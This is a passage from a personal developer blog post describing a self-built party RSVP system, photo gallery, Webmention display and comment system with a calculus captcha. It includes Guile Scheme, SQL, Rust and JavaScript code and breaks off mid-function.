22nd birthday. I did what anyone in this situation would do and wrote my own RSVP system. - -If you're just inviting a dozen or so people over, and don't otherwise have industrial-grade requirements, it's a simple thing to write yourself. I think the database schema does well to summarize the workings of the system: - -#+BEGIN_SRC sql -CREATE TABLE IF NOT EXISTS events ( - id SERIAL, - title varchar(128) NOT NULL, - description varchar(16384) NOT NULL, - datetime timestamp with time zone NOT NULL, - location varchar(128) NOT NULL, - PRIMARY KEY (id) -); - -CREATE TABLE IF NOT EXISTS invitations ( - id SERIAL, - vanity char(12) NOT NULL, - comments varchar(1024) NOT NULL, - created_on timestamp with time zone default current_timestamp, - capabilities bigint NOT NULL, - event_id integer NOT NULL, - PRIMARY KEY (id) -); - -CREATE TABLE IF NOT EXISTS rsvps ( - id SERIAL, - vanity char(12) NOT NULL, - invitation_id char(12) NOT NULL, - event_id bigint NOT NULL, - fullname varchar(128) NOT NULL, - email varchar(256) NOT NULL, - guests varchar(1024) NOT NULL, - attending varchar(32) NOT NULL, - PRIMARY KEY (id) -); -#+END_SRC - -I wanted a way to communicate information about the event (where and when) to friends, and end up with a list of attendees so I'd know how many burgers and beers to get. The former is represented by the =events= table, and the latter is represented by the =rsvps= table. - -The =invitations= table is a bit more interesting. Invitations are "magic links" containing a unique identifier (the value in the =vanity= column) for the person I'm inviting. When an RSVP is submitted, I keep track of which invitation code was used, so if someone's sharing invitation links with people I didn't invite myself, I know who to get mad at.[fn:1] Also, some people get more information than others. In this particular example, my friend was graduating on the same day, so we did a single celebration for the both of us. I wanted her to be able to see the list of attendees, but I didn't want anyone else to be able to see it, so I added a =capabilities= column. It's a =bigint=, and I use bit-flags to represent individual capabilities such as whether or not a particular invitee is able to view the guest list. - -For the actual implementation of the RSVP system, I wrote some JavaScript to fetch the event info (via [[https://en.wikipedia.org/wiki/XMLHttpRequest][XMLHttpRequest]]), display it, generate a form, and when the user presses submit, send that off as a JSON object. It's a lot of uninteresting and unsurprising code, so I won't discuss it here, but you can [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/static/js/rsvp.js][find it here]] if you'd like to see how it works. - -[[./rsvp-screenshot.png]] -#+CAPTION: The specific event I'm talking about in the example, as it appears in the RSVP system (with mildly-sensitive information obscured.) The header and footer are static, but everything else is generated by JavaScript when the page loads. - -The JavaScript needs a server to interact with, which is where Guile comes into the picture. I chose to use the built-in =(web server)= module over a[fn:2] web framework like [[https://www.gnu.org/software/artanis/][Artanis]]. The interface is simple to use: you call =run-server= on a lambda that takes a =request= as a parameter and returns a =response=. In this case, I have two endpoints, =GET /api/rsvp/event-info= and =POST /api/rsvp=, with different behavior, and I defer to some "handler" depending on which endpoint is being requested. - -#+BEGIN_SRC scheme -(use-modules (ice-9 match) - (srfi srfi-1) - (web request) - (web response) - (web server) - (web uri)) - -(define (not-found request) - "Build a (somewhat) descriptive response for a non-existent resource." - (values (build-response #:code 404) - (string-append "Resource not found: " - (uri->string (request-uri request))))) - -(define (handle-api-request request body endpoint) - "Route handler for the API server." - (let ((method (request-method request)) - (originating-ip (assoc-ref (request-headers request) 'x-forwarded-for)) - (args (uri-query (request-uri request)))) - (if args - (format #f "~a ~a (~a) (~a)" method endpoint args originating-ip) - (format #f "~a ~a (~a)" method endpoint originating-ip))) - (match (cons (request-method request) endpoint) - ... - (('GET "rsvp" "event-info") get-event-info) - (('POST "rsvp") post-event-rsvp) - .. - (_ (lambda (. args) (not-found request))))) - -(define (main-request-handler request body) - "Server entry-point; parse `request' and defer to routing system." - (let* ((path-encoded (uri-path (request-uri request))) - (path (split-and-decode-uri-path path-encoded))) - (define-values (response resp-body) - (if (string= "api" (first path)) - (handle-api-request request body (drop path 1)) - (not-found request))) - (values response resp-body))) - -(run-server main-request-handler) -#+END_SRC - -Some minutiae have been scrubbed from the above snippet, like appending a =Access-Control-Allow-Origin= header to the response and rate-limiting endpoints. I won't annotate every part of the RSVP system, but to give you a sense of how Guile acts as the "glue" between the JavaScript code and the Postgres tables, here's the code for =post-event-rsvp=: - -#+BEGIN_SRC scheme -(use-modules (json) - (squee) - (srfi srfi-1) - (srfi srfi-9) - (web request) - (web response) - (web uri)) - -(define (valid-receipt-code receipt) - "Check database to see if `receipt'." - (and (= (string-length receipt) (base64-length (%vanity-length))) - (positive? - (length - (exec-query conn "SELECT * FROM rsvps WHERE vanity = $1" - (list receipt)))))) - -(define-record-type - (make-rsvp-update-parameters) - rsvp-update-parameters? - (invitation-code rsvp-update-code set-rsvp-update-code!) - (name rsvp-update-name set-rsvp-update-name!) - (email rsvp-update-email set-rsvp-update-email!) - (attending rsvp-update-attending set-rsvp-update-attending!) - (guests rsvp-update-guests set-rsvp-update-guests!)) - -(define (params->rsvp-update params) - "Parse `params', an alist, into a `'." - (let ((res (make-rsvp-update-parameters))) - (set-rsvp-update-code! res (assoc-ref params "update")) - (set-rsvp-update-name! res (assoc-ref params "name")) - (set-rsvp-update-email! res (assoc-ref params "email")) - (set-rsvp-update-attending! res (assoc-ref params "rsvp")) - (set-rsvp-update-guests! res (assoc-ref params "guests")) - (if (any not - (list (rsvp-update-code res) - (rsvp-update-name res) - (rsvp-update-email res) - (rsvp-update-attending res) - (rsvp-update-guests res))) - #f - res))) - -(define (update-event-rsvp params) - "Handler for updating an RSVP to an event." - (let ((params (params->rsvp-update params))) - (unless params - (panic "invalid form data")) - (unless (valid-receipt-code (rsvp-update-code params)) - (panic "invalid receipt code")) - (exec-query conn - "UPDATE rsvps SET fullname = $2, email = $3, attending = $4, guests = $5 WHERE vanity = $1" - (list - (rsvp-update-code params) - (rsvp-update-name params) - (rsvp-update-email params) - (rsvp-update-attending params) - (rsvp-update-guests params))) - (values '((content-type . (application/json))) - (scm->json-string - `((receipt . ,(rsvp-update-code params))))))) - -(define (post-event-rsvp request body) - "Entry point for RSVP create/update. We dispatch on the parameters." - (let* ((params (json-string->scm (utf8->string body)))) - (cond ((assoc-ref params "update") (update-event-rsvp params)) - ... - (else (panic "invalid invite/update code"))))) - -#+END_SRC - -I'm using [[https://notabug.org/cwebber/guile-squee/][guile-squee]] to reach out to the Postgres database. It's a nice library and a great poster child for Guile's [[https://www.gnu.org/software/guile/manual/html_node/Dynamic-FFI.html][dynamic FFI interface]], but it's little more than a wrapper around =libpq= -- not a high-level interface. This is where the choice to use Guile has been a bit rough around the edges: you're on your own for a lot of pretty common tasks in web development world, like generating database queries or validating that a request is well-formed. And that's precisely what we're doing here. When =handle-api-request= calls out to =post-event-rsvp=, we figure out whether we're updating a previously submitted RSVP or submitting a new one (the code for that case has been omitted in the interest of brevity). In =update-event-rsvp=, I have to ensure the parameters are well-formed, parse them into a record, and then interpolate those into a SQL query that I wrote myself. - -At the point this code was written, I hadn't written a line of Guile in about a year, and I was thinking of this more as throw-away code rather than something I'd be writing a blog post about. I wouldn't hesitate to describe it as especially ugly. The comment system, being newer, does a marginally better job of showing off the ways that Scheme allows you to be clever and avoid boilerplate: - -#+BEGIN_SRC scheme -(use-modules (json) - (squee) - (srfi srfi-1) - (srfi srfi-19) - (srfi srfi-26) - (web request) - (web response) - (web uri)) - -(define-json-mapping - make-internal-comment - internal-comment? - json->internal-comment <=> internal-comment->json - (id internal-comment-id) - (name internal-comment-name) - (subject internal-comment-subject) - (email internal-comment-email) - (comment internal-comment-comment) - (url internal-comment-url) - (publish-time - internal-comment-publish-time - "publish-time" - (lambda (x) (string->date x "~Y~m~d ~H~M~S.~N")) - (lambda (x) (date->string x "~Y-~m-~d ~H:~M:~S.~N"))) - (reactions internal-comment-reactions)) - -(define (get-comments-by-slug slug) - "Internal function for querying the approved comments on a post - -This interface exists for dynamically generating the comment view from Haunt." - (define (make-internal-comment~ . args) - (let* ((approved (first (take-right args 2))) - (approved (string->date approved "~Y~m~d ~H~M~S.~N")) - (reactions (last args)) - (reactions (if reactions - (with-input-from-string reactions read) - '()))) - (apply make-internal-comment - (append (drop-right args 2) (list approved reactions))))) - (let* ((query "SELECT id, name, subject, email, comment, url, approved, reactions - FROM comments WHERE slug = $1 and approved IS NOT NULL") - (result (exec-query conn query (list slug)))) - (map (cut apply make-internal-comment~ <>) result))) - -(define (get-comments request body) - "API endpoint handler for querying for the comments on a particular post - -This is a wrapper around `get-comments-by-slug'." - (define (normalize-record record) - (json-string->scm (internal-comment->json record))) - (let* ((query-string (uri-query (request-uri request))) - (params (if query-string - (decode-form query-string) - '())) - (slug (assoc-ref params "p"))) - (unless slug (panic "missing `slug' query parameter")) - (values '((content-type . (application/json))) - (scm->json-string - (list->vector - (map normalize-record (get-comments-by-slug (car slug)))))))) -#+END_SRC - -Here, leveraging the fact that the result of =exec-query= is "close enough" to the parameters we would want to pass to the record constructor, and deferring to =apply=. Of course, this example has warts as well. I'm having to call =normalize-record= because, even though I've defined a JSON mapping for ==, =scm->json-string= doesn't know how serialize the record -- we can only serialize it if we call =internal-comment->json=. So, for every record, I serialize it into a JSON object and then immediately deserialize it into an =alist= -- effectively to erase the type information and yield something that =scm->json-string= knows how to deal with. I have to call =scm->json-string= in this case because I'm dealing with a /list/ of records. - -There might be a better way to do this, but I haven't figured it out yet! And I think that's a fair summary of my experience writing this in Guile. Unlike other languages that see a lot of use in the web development world, in Scheme, there isn't a clear-cut "best way" or "best library" to do these sorts of things. It provides you with all of the tools you'd need to do things in a way that's beautiful and easily-understood, but if you're in a rush, and too lazy to sit down and generalize your problem, the code that you end up writing can be a bit hard on the eyes. - -Had I not chosen Guile, the language I would have reached for is Rust, which has a nice ORM library ([[http://diesel.rs/][Diesel]]) for interacting with databases, and most Rust web frameworks will take care of parsing form data into a =struct= (and rejecting if the request is ill-formed.) There, you're afforded similar facilities for writing your own abstractions, but the community has given you some enough cookie cutters that you don't have to think about the basic things if all you want to do is write a web application. - -One last thing I'd like to mention: this isn't entirely specific to Scheme. Some things I complained about above, like the dance I had to do with serializing JSON, might be easier to deal with if I were using a statically-typed language, but I'm certain the rest of it comes down to Guile having a smaller community. In other words: I don't think this is the fault of Scheme or Guile. With that, I hope I've [[https://en.wikipedia.org/wiki/Nerd_sniping][nerd sniped]] someone into making a great new web framework for Guile. - -But I think that's all there is to say about the RSVP system. It was an interesting-enough proof-of-concept for me to experiment with running more things on the server-side. - -* The Sequel: A Picture Gallery - -Despite the rough edges in the code outlined above, from the perspective of my non-technical friends, the RSVP system worked flawlessly and I was able to throw a huge party. We ate a ton of food and drank a lot of beer. My friend Aaron was also nice enough to take the DSLR from me and take some pictures! I wanted to put them somewhere for everyone who went to be able to see, so I put them on my website and used the "magic link" approach again. - -#+BEGIN_SRC sql -CREATE TABLE IF NOT EXISTS galleries ( - id SERIAL, - vanity char(12) NOT NULL, - title varchar(128), - description varchar(4096) NOT NULL, - datetime timestamp with time zone NOT NULL, - PRIMARY KEY (id) -); - -CREATE TABLE IF NOT EXISTS images ( - id SERIAL, - vanity char(12) NOT NULL, - title varchar(128), - filename varchar(64) NOT NULL, - thumb_filename varchar(64) NOT NULL, - datetime timestamp with time zone NOT NULL, - PRIMARY KEY (id) -); -#+END_SRC - -The "gallery" system has the same architecture as the "RSVP" system: there's some JavaScript to fetch info about the gallery and render it client-side, and there's some Guile code running on my server for the JavaScript to interact with. The only part that was different is that now I was dealing with images. - -#+BEGIN_SRC scheme -(define (image-exists? file-name) - (define (string/= a b) (not (string= a b))) - (and (string/= file-name ".") - (string/= file-name "..") - (member file-name (scandir (%gallery-image-directory))))) - -(define (read-image file-name) - (let* ((ext (string-downcase (last (string-split file-name #\.)))) - (mime (cond ((string= ext "jpg") 'image/jpeg) - ((string= ext "png") 'image/png) - (else (error "Unknown MIME type."))))) - (values `((content-type . (,mime))) - (call-with-input-file (format #f "~a/~a" (%gallery-image-directory) file-name) - (lambda (port) - (get-bytevector-all port)))))) - -(define (get-image request body) - (let* ((query-string (uri-query (request-uri request))) - (params (if query-string - (decode-form query-string) - '())) - (file-name (car (assoc-ref params "name")))) - (unless (image-exists? file-name) (panic "invalid filename")) - (read-image file-name))) -#+END_SRC - -I have a legitimate complaint about the =(web server)= module -- I cannot, for the life of me, figure out how to respond with a binary payload /without/ reading the entire blob into memory first. This is a problem, because the photos coming off of the DSLR are massive and my server process was literally OOM'ing. Unable to resolve it in Guile, I eventually gave up and used Rust for the "hosting the images" part. - -#+BEGIN_SRC rust -use ascii::AsciiString; -use std::fs; -use std::path::Path; - -extern crate ascii; -extern crate tiny_http; - -const BASE_DIR: &'static str = "/opt/gallery-images/"; - -fn get_content_type(path: &Path) -> &'static str { - let extension = match path.extension() { - None => return "text/plain", - Some(e) => e, - }; - - match extension.to_ascii_lowercase().to_str().unwrap() { - "gif" => "image/gif", - "jpg" => "image/jpeg", - "jpeg" => "image/jpeg", - "png" => "image/png", - "pdf" => "application/pdf", - "htm" => "text/html; charset=utf8", - "html" => "text/html; charset=utf8", - "txt" => "text/plain; charset=utf8", - _ => "text/plain; charset=utf8", - } -} - -fn main() { - let server = tiny_http::Server::http("0.0.0.0:8069").unwrap(); - - loop { - let rq = match server.recv() { - Ok(rq) => rq, - Err(_) => break, - }; - - println!("{:?}: {:?}", chrono::offset::Local::now(), rq); - - let url = rq.url().to_string(); - let path = Path::new(BASE_DIR); - let append = Path::new(&url); - - if let Ok(stripped) = append.strip_prefix("/static-ext/") { - let path = path.join(stripped); - if !path - .canonicalize() - .map(|x| x.starts_with(BASE_DIR)) - .unwrap_or(false) - || path.is_dir() - { - let rep = tiny_http::Response::new_empty(tiny_http::StatusCode(404)); - let _ = rq.respond(rep); - } else { - let file = fs::File::open(&path); - - if file.is_ok() { - let response = tiny_http::Response::from_file(file.unwrap()); - - let response = response.with_header(tiny_http::Header { - field: "Content-Type".parse().unwrap(), - value: AsciiString::from_ascii(get_content_type(&path)).unwrap(), - }); - - let _ = rq.respond(response); - } else { - let rep = tiny_http::Response::new_empty(tiny_http::StatusCode(404)); - let _ = rq.respond(rep); - } - } - } else { - let rep = tiny_http::Response::new_empty(tiny_http::StatusCode(404)); - let _ = rq.respond(rep); - } - } -} -#+END_SRC - -I added a second =VirtualHost= for a =/static-ext/= path, which hits a process running that Rust snippet instead of the main Guile -program. It may have been more sensible to just store the images on dad's server, since they're static content, but I've got a much bigger disk attached to my machine and didn't want to fill up his with a couple hundred DSLR photos. - -That's all. The gallery was a simple extension of the code that I'd already written for keeping track of RSVPs. [[https://git.sr.ht/~jakob/blog/tree/self-hosted-comments/item/haunt/jakob/dynamic/capabilities/gallery.scm][The whole file is under a hundred LOC.]] - -* Comments - -That's a lot of words about two systems you're unlikely to ever interact with unless you're one of the half-dozen or so people I still hang out with. The more prominent change for regular readers is the re-introduction of a comment system. There have been comment systems on jakob.space (and its predecessors) in the past, but they predate the first commit in the [[https://git.sr.ht/~jakob/blog][blog]] repository, so I'm devoting a few sections to talking about them; the lessons learned (however few) from previous iterations are responsible for some of the decisions made in the current implementation. - -** The Previous Self-Hosted Comment System - -Before Haunt, I used Hugo. And before that, I wasn't using a static site generator at all. From 2015 to 2018, my personal website was running on top of [[https://flask.palletsprojects.com/][Flask]] and [[https://www.sqlite.org/][SQLite]]. It used to look [[https://web.archive.org/web/20181013061219/http://jakob.space/blog/post/First+Impressions+of+the+Rust+Programming+Language][like this]]. - -Of course, I didn't have an especially compelling reason for my website to be running on Python. This was when I was picking up Python for a second time, and I heard that "building a website with Python" was an option. Using Flask was merely my attempt to understand what that meant. What I developed was a basic content management system: I'd write my content in HTML, commit it to the database by copy/pasting it into an SQLite GUI, and use Jinja2 to shoehorn that into some hand-crafted HTML templates. - -This workflow is frankly better suited to a static site generator, which is why I eventually dropped my Flask codebase for Hugo. But picking up Hugo wasn't my first response to realizing that my choice of tech stack was overkill -- what I did, instead, was take advantage of the power afforded to me. I developed a comment system. - -I tried my damned hardest to find the code for it, but when I pulled the repository from a backup, I was reminded of how bad my =git= hygiene used to be. - -#+BEGIN_SRC prog -commit 0ca36ee37903be95f915bddcd620f5e2786a67f7 (HEAD -> master) -Author: jakob <[redacted]> -Date: Fri Oct 27 17:12:54 2017 -0400 - - Last commit before redesign - -commit 914ca5965e77bfce2642fed7cc2d14ab265cc714 -Author: jakob <[redacted]> -Date: Sat Jul 22 20:25:33 2017 -0400 - - Redid showcases and blog format - -commit 39fa9c5760617931eae73bc9a57e9f1d60945024 -Author: jakob <[redacted]> -Date: Sun Dec 4 16:57:42 2016 -0500 - - Initial commit. -#+END_SRC - -I'm convinced it's lost to time. What I do remember is that I wrote a crappy captcha system for it with [[https://pillow.readthedocs.io/][Pillow]]; any form you put on the internet is inevitably going to get attention from many kinds of web spiders, so I did the bare minimum for taping it off. The algorithm was: - -- Pick =n= random characters -- Write each character to a fixed-size canvas at a fixed =x= offset and a randomized =y= offset -- Add some "noise" by drawing nonsensical lines across the canvas - -Intuition tells me that this isn't a great approach to thwarting bots, but I can't really conclude that it was ineffective because I have no data: in the time that it was actively deployed, no one had commented on any of my posts. Not even spammers. I don't recall exactly why I discontinued the comment system, but I know that it happened prior to my switch to Hugo -- the first post I made that received significant traffic[fn:3] was made before the switch to Hugo, and if I had kept it to the EOL of the Flask codebase, I think I would have remembered receiving a comment or two.[fn:4] - -** Webmentions - -There was no immediate replacement to the original comment system. For a while, my website was *just* the post archive and "about me" page. I eventually built a spiritual successor in my attempt at a [[https://en.wikipedia.org/wiki/Webmention][Webmention]] integration. Though, this is functionally quite different: rather than being stored in a central database that I manage, Webmentions are distributed across web. - -Generally speaking, Webmention is "just" a protocol for indicating to a website that you've linked to it, or otherwise mentioned it elsewhere. There tends to be some metadata associated with the content of the "mention," such as the name and website of the author, and what kind of interaction it is (a response, a bookmark, etc.) Furthermore, there are services like [[https://webmention.io/][webmention.io]] to handle the protocol on your behalf, making it a fairly enticing option for a static website. - -One could draw comparison to other services like [[https://disqus.com/][Disqus]] which I am averse to as they require the user to load [[https://www.gnu.org/philosophy/javascript-trap.en.html][non-free JavaScript]]. Webmention, on the other hand, is an [[https://www.w3.org/TR/webmention/][open standard]], and services that interface with the protocol typically provide a readily-queried API. In the case of webmention.io, [[https://github.com/aaronpk/webmention.io/blob/main/LICENSE.txt][the service itself is free software.]] - -I first implemented Webmention support circa 2019 over a weekend when I was taking a break at my parents' summertime cottage. The protocol was getting some attention on lobste.rs and HackerNews at the time, so I figured it would be a fun project. I was able to figure out just about everything I needed to know from [[https://aaronparecki.com/2018/06/30/11/your-first-webmention][Aaron Parecki's article]]. If you dig through that page enough, you'll find the first (and only?) Webmention =reply-to= that I've sent. - -What I won't talk about here is the code I wrote to have Haunt generate a Webmention "outbox" for comments I wrote, because I don't think it's particularly interesting. If you're really curious, the source code is [[https://git.sr.ht/~jakob/blog/tree/master/item/haunt/jakob/builder/outbox.scm][here]]. - -I'd prefer to talk about being a consumer of Webmentions. My first attempt at an "integration" was this: - -#+BEGIN_SRC javascript -/* - ,* webmention.js -- Fetch and display mentions from webmention.io. - ,* Copyright © 2019 Jakob L. Kreuze [REDACTED] - ,* - ,* This program is free software; you can redistribute it and/or - ,* modify it under the terms of the GNU General Public License as - ,* published by the Free Software Foundation; either version 3 of the - ,* License, or (at your option) any later version. - ,* - ,* This program is distributed in the hope that it will be useful, - ,* but WITHOUT ANY WARRANTY; without even the implied warranty of - ,* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU - ,* General Public License for more details. - ,* - ,* You should have received a copy of the GNU General Public License - ,* along with this program. If not, see - ,* . - ,*/ - -function buildApiUri() { - const snip = /https?:\/\/.*?\//.exec(window.location.href); - const page = window.location.href.substring(snip[0].length); - - // TODO: Build up from aliases, etc. - const aliases = [page]; - - return Array.concat( - ["https://webmention.io/api/mentions.jf2?"], - aliases.flatMap((alias) => { - const ref = "jakob.space"; - return [ - `target[]=http://${ref}/${alias}`, - `target[]=https://${ref}/${alias}` - ]; - }).join("&") - ).join(""); -} - -function getData(url, callback) { - if (fetch) { - fetch(url).then(function(response) { - if (response.status >= 200 && response.status < 300) { - return Promise.resolve(response); - } else { - return Promise.reject(new Error(`Request failed: ${response.statusText}`)); - } - }).then(function(response) { - return response.json(); - }).then(callback); - } else { - let xhr = new XMLHttpRequest(); - xhr.onload = function(data) { - callback(JSON.parse(data)); - } - xhr.onerror = function(error) { - throw new Error(`Request failed: ${error}`); - } - } -} - -function makeComment(comment) { - const strip = (uri) => { - const sep = "://"; - return uri.substring(uri.indexOf(sep) + sep.length); - }; - - const element = (type, attributes) => { - let res = document.createElement(type); - for (const attribute in attributes) { - res.setAttribute(attribute, attributes[attribute]); - } - return res; - }; - - // Create the h-card section. - let avatar = element("img", { - "class": "u-photo", - "src": comment.author.photo - }); - - let authorName = element("a", { - "class": "p-name u-url", - "href": comment.author.url - }); - authorName.innerHTML = comment.author.name; - - let authorURI = element("a", { - "class": "author_url", - "href": comment.author.url - }); - authorURI.innerHTML = strip(comment.author.url); - - let hCardContainer = element("div", { - "class": "p-author h-card author" - }); - hCardContainer.appendChild(avatar); - hCardContainer.appendChild(authorName); - hCardContainer.appendChild(authorURI); - - // Create the content section. - let contentContainer = element("div", { - "class": "e-content p-name comment-content", - }); - contentContainer.innerHTML = comment.content.text; - - // Create the metaline section. - let time = element("time", { - "class": "dt-published", - "datetime": comment.published - }); - time.innerHTML = (new Date(comment.published)).toString(); - - let linkBack = element("a", { - "class": "u-url", - "href": comment.url - }); - linkBack.appendChild(time); - - let metalineContainer = element("div", { - "class": "metaline" - }); - metalineContainer.appendChild(linkBack); - - // Put it all together. - let wrapper = element("li", { - "class": "p-comment h-cite comment", - }); - wrapper.appendChild(hCardContainer); - wrapper.appendChild(contentContainer); - wrapper.appendChild(metalineContainer); - - return wrapper; -} - -getData(buildApiUri(), (json) => { - json.children - .map(makeComment) - .forEach((elem) => { - document.getElementById("webmention-container").appendChild(elem); - })}); -#+END_SRC - -This isn't anything to write home about. Vanilla JavaScript with no framework -- the majority of the code is DOM manipulation. You're free to use it [[https://www.gnu.org/licenses/gpl-3.0.en.html][under the constraints of the license]], if you really want to. - -Given that so much is offloaded to the third-party service, having the little Webmention display at the bottom of my posts hasn't demanded much maintenance. For the most part, it was "set it and forget it." Though, I did come back to the script every once in a while to hack on it. My biggest issue, running this for a couple of years, was the noise. The wide variety of interaction types that can be represented as Webmentions means that only a fraction of pingbacks contribute to a dialog. Lots end up being [[https://indieweb.org/like][likes]] or [[https://indieweb.org/repost][reposts]] or [[https://indieweb.org/favorite][favorites]], so I eventually made changes to separate the chaff from the wheat, showing those sorts of interactions as attenuated compared to the ones that carry meaningful information. - -[[./old-webmention-screenshot.png]] -#+CAPTION: The "de-noised" Webmention view on [[https://jakob.space/blog/i-love-my-pinephone.html][this post]]. - -This was certainly an improvement, but I was still unhappy with the signal-to-noise ratio, so I'm now hiding these sorts of interactions entirely. As nice as it is to be able to show off how popular you are, if it doesn't meaningfully contribute to the experience of the reader, I'd rather not clutter the page with it. - -Another issue is that writing a Webmention is likely untenable for a lot of people who would be reading my website[fn:5], so I ended up leveraging another external service, [[https://commentpara.de/][commentpara.de]], which hosts anonymous contents that then get syndicated via Webmention. I added a link to it above the Webmention section of every post, not expecting anyone to use it. But I turned out to be wrong about that. I've gotten some great comments through it, and that's been part of my motivation to work on the comment system I'm writing about below. - -The last thing I'd like to say regarding Webmention support is that the JavaScript code described above has since been superseded. In preparation for the new comment system, I rewrote the rendering code in Guile so that the Webmention view could be generated statically -- partly to reduce the load I was presumably putting on webmention.io, and partly so that folks who have JavaScript disabled could still see it. - -** A New Comment System - -And so, motivated by a desire for more control, I started on a month-long side project to implement a comment system in Guile. - -*** High-Level Architecture - -Assuming that JavaScript is enabled was fine for something that'd only be used by my "real life" friends, but I'd like the comment system to be usable by folks who might have it disabled. Also, it was literally slow enough to warrant a loading animation. So for the comment system, I've tried to cut client-side rendering out of the picture as much as possible. Haunt now generates a comment form at the bottom of each article which is /hidden by default/. If JavaScript is enabled, it's shown to the user along with a button to fetch a captcha challenge using XMLHttpRequest. Otherwise, it's replaced by a link, leading to a server-side rendered page with the captcha challenge "baked in." - -Why? Because, as we'll see, the captcha generation procedure is somewhat expensive. Considering the ratio of of "reader" traffic to "commenter" traffic, I didn't want to have to generate one on every page load. - -[[./web-server-traffic.jpg]] -#+CAPTION: A graph of requests per minute according to the Apache logs. This is generally what my traffic distribution is like when someone posts an article of mine onto HackerNews. - -Unlike the forms in the systems I described previously, there's no JavaScript involved in sending a comment to the API server. It's a regular HTML form that =POSTs= some =application/x-www-form-urlencoded= data on submission. The Guile API server receives that and inserts it into the Postgres database. - -#+BEGIN_SRC sql -CREATE TABLE comments( - id SERIAL PRIMARY KEY, - approved TIMESTAMP, - submitted TIMESTAMP NOT NULL, - slug VARCHAR(100) NOT NULL, - name VARCHAR(50) NOT NULL, - subject VARCHAR(100), - email VARCHAR(100), - url VARCHAR(100), - comment VARCHAR(1024) NOT NULL, - reactions VARCHAR(1024) -); -#+END_SRC - -Comments are rendered by Haunt -- the =builder= queries the Postgres database at build-time and generates a list of =alists=. - -#+BEGIN_SRC scheme -(define (format-comment comment) - "Format `comment', an alist, as SXML for a comment-type interaction" - (define (strip uri) - "Attempt to remove any sort of protocol specification from `uri'" - (let* ((needle "://") - (index (string-contains uri needle))) - (if index - (strip (substring uri (+ index (string-length needle)))) - uri))) - (let* ((author-name (assoc-ref comment 'name)) - (author-url (assoc-ref comment 'url)) - (author-photo (gravatar-url (assoc-ref comment 'email))) - (publish-datetime (assoc-ref comment 'publish-time)) - (content-text (assoc-ref comment 'comment)) - (content-reactions (assoc-ref comment 'reactions))) - `(li (@ (class "p-comment h-cite comment comment-source-internal")) - (img (@ (class "comment-source-identifier") - (alt "Icon for comments posted on jakob.space") - (src "/static/image/lambda.svg"))) - (div (@ (class "p-author h-card author")) - (img (@ (class "u-photo") (src ,author-photo))) - (span (@ (class author-name)) ,author-name) - ,@(if author-url - `((a (@ (class "author-url") - (href ,author-url)) - "(" ,(strip author-url) ")")) - `())) - (div (@ (class "e-content p-name comment-content")) - ,@(chain content-text - (safe-markdown->sxml _))) - (div (@ (class "metaline")) - (time (@ (class "dt-published") - (datetime ,publish-datetime)) - ,(date->string - (string->date publish-datetime "~Y~m~d ~H~M~S.~N") - "~B ~e, ~Y at ~H:~M"))) - (ul (@ (class "comment-reactions")) - ,@(map (match-lambda - ((emote . count) - `(li ,(format #f "~a (~a)" emote count)))) - content-reactions))))) - -(define (render-comment-view response) - "Render `response', the output of `fetch-webmentions', as SXML" - (map format-comment response)) -#+END_SRC - -Doing this at build-time has an obvious limitation, but I find it's a feature in my case: new comments don't appear until the site is re-built. In this comment system, though, individual comments aren't visible unless I've manually approved them (i.e, =approved= field is non-null), so I just re-build the site whenever I approve a comment. - -I anticipate a relatively low-volume of usage, so manually approving comments should be feasible, and I trust myself to act in good faith with moderating comments. I basically just don't want spam or hate speech. - -As it turns out, [[https://sive.rs/shc][I'm not the first to take this approach for implementing comments on a static site.]] The main difference between Derek's implementation and mine is that, because I'm approving comments manually, there isn't a need for the PostgreSQL trigger. Also, I rebuild the entire website instead of using XHR or a server-side include to update the comments view. - -*** Avatars - -I'm taking the usual approach for the little avatar pictures that appear next to each comment: if you provide an email address when submitting a comment, my site will prod the Gravatar API for whatever icon you may have linked to it. - -#+BEGIN_SRC scheme -(define (gravatar-url email) - (chain email - (string-downcase _) - (string-trim-both _) - (string->bytevector _ "utf8") - (bytevector-hash _ (lookup-hash-algorithm 'md5)) - (bytevector->base16-string _) - (format #f "https://www.gravatar.com/avatar/~a" _))) -#+END_SRC - -Otherwise, you get one of a couple fallback icons that I generated with [[https://en.wikipedia.org/wiki/Stable_Diffusion][Stable Diffusion]]. The prompt was something like "avatar for anonymous user." I don't remember what it was exactly since I generated them with my friend's beefy gaming computer after we'd had a few drinks. - -*** Markdown - -I wanted to support rich text in comments, so I pulled in [[https://github.com/OrangeShark/guile-commonmark][guile-commonmark]]. I'm filtering out images because that's ripe for abuse -- more so than links, in my experience. - -#+BEGIN_SRC scheme -(define (safe-markdown->sxml text) - "Convert TEXT to an sxml form filtering out any unsafe entities" - (define (sanitize sexp) - (cond ((and (list? sexp) - (positive? (length sexp)) - (eqv? 'img (car sexp))) - #f) - ((list? sexp) - (filter identity (map sanitize sexp))) - (else sexp))) - (sanitize (commonmark->sxml text))) -#+END_SRC - -=guile-commonmark= is [[https://git.sr.ht/~jakob/zerodaysfordays/commit/8aeda755323b9bd2270daa4e9ae98d3956256d1c][packaged in my Gentoo overlay]] since it isn't in the upstream Gentoo repos. - -*** Captcha System - -In some sense, I was motivated to work on the comment system because I thought that [[https://social.jakob.space/notice/AHqwVh4R25BECUwDLc][implementing a captcha system would be fun]]. - -For the first half of this year, I was still living at home with my parents, and my brother was still in high school. I was teaching him the AP calculus curriculum that he wasn't learning in school (mainly series stuff), and I was helping him to get good at calculating definite integrals, which I realized was mechanical enough to make for a good captcha system. Having just completed the symbolic differentiation exercises in SICP, I decided to hack one together as a proof-of-concept, which I shelved since I had to focus on more important things. - -This is one of those ideas that I know isn't original, but I can't exactly remember where I heard about it. Years ago, maybe, I read somewhere about an engineering forum that required users to calculate some sort of calculus problem before they could register for an account. I know that the DoomWorld forums at some point had a topical captcha problem where you had to provide the name of a randomly-chosen Doom sprite to register an account. Those are the two likely influences I had in coming up with this. - -The algorithm generates a random function and evaluates it on some randomly-chosen boundary. To generate the challenge, it symbolically differentiates the function, renders it with LaTeX, and sends that to the user. If their answer is "close enough," then they're allowed to post. - -#+BEGIN_SRC scheme -(define (random-term) - (match (random 5) - (0 `(* ,(+ 1 (random 10)) x)) - (1 `(* ,(+ 1 (random 10)) (expt x ,(random 10)))) - (2 `(* ,(+ 1 (random 10)) (exp x))) - (3 `(* ,(+ 1 (random 10)) (cos x))) - (4 `(* ,(+ 1 (random 10)) (sin x))))) - -(define (sexp->latex sexp) - (match sexp - (('+ rest ...) 